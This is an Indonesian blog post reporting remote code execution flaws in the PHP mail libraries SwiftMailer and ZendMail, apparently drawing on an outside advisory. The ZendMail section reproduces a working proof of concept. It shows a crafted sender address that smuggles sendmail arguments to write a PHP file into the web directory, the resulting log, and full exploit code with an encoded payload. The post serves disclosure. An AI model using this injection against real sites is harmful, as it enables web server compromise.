Kemarin-kemarin sudah ditemukan kerentanan kritis remote code execution di salah satu library open source PHP populer. Yang mana library tersebut digunakan untuk mengiri email. Dan kerentanan tersebut memungkinkan penyerang untuk mengeksekusi remote kode arbitrary dalam konteks web server. Juga dapat mengganggu aplikasi web. Selain kerentanan itu, Golunski juga melaporkan kerentanan yang sama di dua mailing library lain untuk PHP. Yaitu SwiftMailer dan ZendMail. Yang mana kerentanan ini juga menyebabkan serangan remote code execution.
Kerentanan Kritis Remote Code Execution di SwiftMailer
SwiftMailer merupakan sebuah library PHP yang sudah digunakan oleh banyak proyek open-source populer. Seperti Yii2, LARAVEL, dan Symfony untuk mengirim email melalui SMTP.Kerentanan di SwiftMailer ini dapat dimanfaatkan dengan cara yang sama seperti kerentanan PHPMailer. Yaitu dengan menargetkan komponen situs web yang menggunakan SwiftMailer class. Seperti form kontak / pendaftaran, password email reset form, dan sebagainya.
Kerentanan ini memungkinkan penyerang untuk mengeksekusi kode arbitrary dari jarak jauh dalam konteks web server. Yang mana bisa lebih dimanfaatkan untuk mengakses web server hosting aplikasi web yang menggunakan versi rentan dari library SwiftMailer ini. Kerentanan ini mempengaruhi semua versi dari library, termasuk rilisan versi 5.4.5-DEV.
“Mail transportasi (Swift_Transport_MailTransport) adalah kerentanan melewati argumen shell arbitrary if “From,” “ReturnPath” atau “Sender” header yang berasal dari sumber tidak dipercaya. Berpotensi untuk memungkinkan remote code execution“, baca lebih lanjut mengenai hal ini di changelog untuk SwiftMailer dalam GitHub.
Kerentanan Kritis Remote Code Execution di ZendMail
Dengan menginjeksi urutan ekstra \” setelah argumen pertama, email berikut:"Attacker \" -Param2 -Param3"@test.com
Ketika melewati transportasi sendmail Zend-mail ( dan pada akhirnya ke fungsi mail() ) akan menyebabkan sendmail untuk mengeksekusi:
Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fAttacker\]
Arg no. 4 == [-Param2]
Arg no. 5 == [-Param3"@test.com]
Seperti yang dapat dapat kamu lihat, hal tersebut akan menyuntikkan parameter tambahan 4 & 5 untuk sendmail.
A simple PoC (working on Sendmail MTA)
Hal ini akan menginjeksi parameter berikut untuk perintah sendmail:Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-r]
Arg no. 4 == [attacker\]
Arg no. 5 == [-oQ/tmp/]
Arg no. 6 == [-X/var/www/cache/phpcode.php]
Arg no. 7 == ["@email.com]
Yang akan menulis transfer log (X) ke dalam file /var/www/cache/phpcode.php.
Note: /var/www/cache harus ditulis oleh www-data web user.
File yang dihasilkan akan berisi muatan yang sah dalam body message:
09607 <<< Content-Type: text/html; charset=us-ascii
09607 <<<
09607 <<< <?php phpinfo(); ?>
09607 <<<
09607 <<<
09607 <<<
Exploit Code:
// Attacker's input coming from untrusted source such as $_GET , $_POST etc.
// For example from a Contact form with sender/body fields
$email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php "@email.com';
// encoded phpinfo() php code
$msg_body = base64_decode("PD9waHAgcGhwaW5mbygpOyA/Pg==");
// ------------------
// mail() param injection via the vulnerability in zend-mail
chdir(dirname(__DIR__));
include 'vendor/Zend/Loader/AutoloaderFactory.php';
Zend\Loader\AutoloaderFactory::factory(array(
'Zend\Loader\StandardAutoloader' => array(
'autoregister_zf' => true
)
));
Zend\Mvc\Application::init(require 'config/application.php')->run();
$message = new \Zend\Mail\Message();
$message->setBody($msg_body);
$message->setFrom($email_from, 'Attacker');
$message->addTo('support@localhost', 'Support');
$message->setSubject('Zend PoC');
$transport = new \Zend\Mail\Transport\Sendmail();
$transport->send($message);
ZendMail merupakan komponen yang populer di kalangan framework pemograman PHP. Yang mana sudah lebih dari 95 juta website menggunakan ZendMail.
Kerentanan kritis di ZendMail juga dapat dimanfaatkan dengan cara yang sama seperti yang ditemukan dalam PHPMailer dan SwiftMailer. Dengan menargetkan komponen situs web yang menggunakan ZendMail, seperti form kontak / pendaftaran, password email reset form, dan sebagainya.
Dalam kerentanan ini penyerang bisa memperoleh remote code execution dalam konteks web server. Dan bisa mengganggu aplikasi web target yang menggunakan versi rentan dari ZendMail.
0 Komentar
Penulisan markup di komentar